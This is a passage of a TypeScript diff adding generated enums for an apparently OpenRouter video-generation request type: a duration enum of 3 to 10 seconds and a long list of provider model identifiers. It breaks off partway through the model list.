OpenrouterPostVideosGoogleGeminiOmni11FlashRequestAspectRatioEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestAspectRatioEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestAspectRatioEnum] + +export const openrouterPostVideosGoogleGeminiOmni11FlashRequestDurationEnum = { + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, +} as const + +export type OpenrouterPostVideosGoogleGeminiOmni11FlashRequestDurationEnumKey = + (typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestDurationEnum)[keyof typeof openrouterPostVideosGoogleGeminiOmni11FlashRequestDurationEnum] + +export const openrouterPostVideosGoogleGeminiOmni11FlashRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 